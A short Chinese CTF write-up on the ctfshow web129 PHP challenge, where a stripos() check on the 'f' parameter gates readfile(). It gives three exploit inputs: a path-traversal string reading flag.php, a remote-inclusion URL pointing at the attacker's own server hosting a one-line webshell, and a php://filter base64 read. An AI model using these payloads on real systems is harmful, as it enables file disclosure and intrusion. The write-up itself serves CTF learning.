web129笔记(字符串中包含ctfshow就会读取文件-stripos() 函数)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 03:18:40

*/


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)

倒是变得简单了,传入get参数f,并且字符串中包含ctfshow就会读取文件,所以有多种利用姿势,这里讲几种
第一种
直接文件包含

?f=/ctfshow/../../../../../../../../../var/www/html/flag.php

然后右键源码查看flag
第二种
远程文件包含,在自己的服务器上写一句话木马进行利用,url为你的服务器ip或者域名,xxxx.txt为你写的一句话木马

?f=http://url/xxxx.txt?ctfshow

第三种
使用php伪协议读取

?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

 

posted @ 2025-03-27 11:07  justdoIT*  阅读(12)  评论(0)    收藏  举报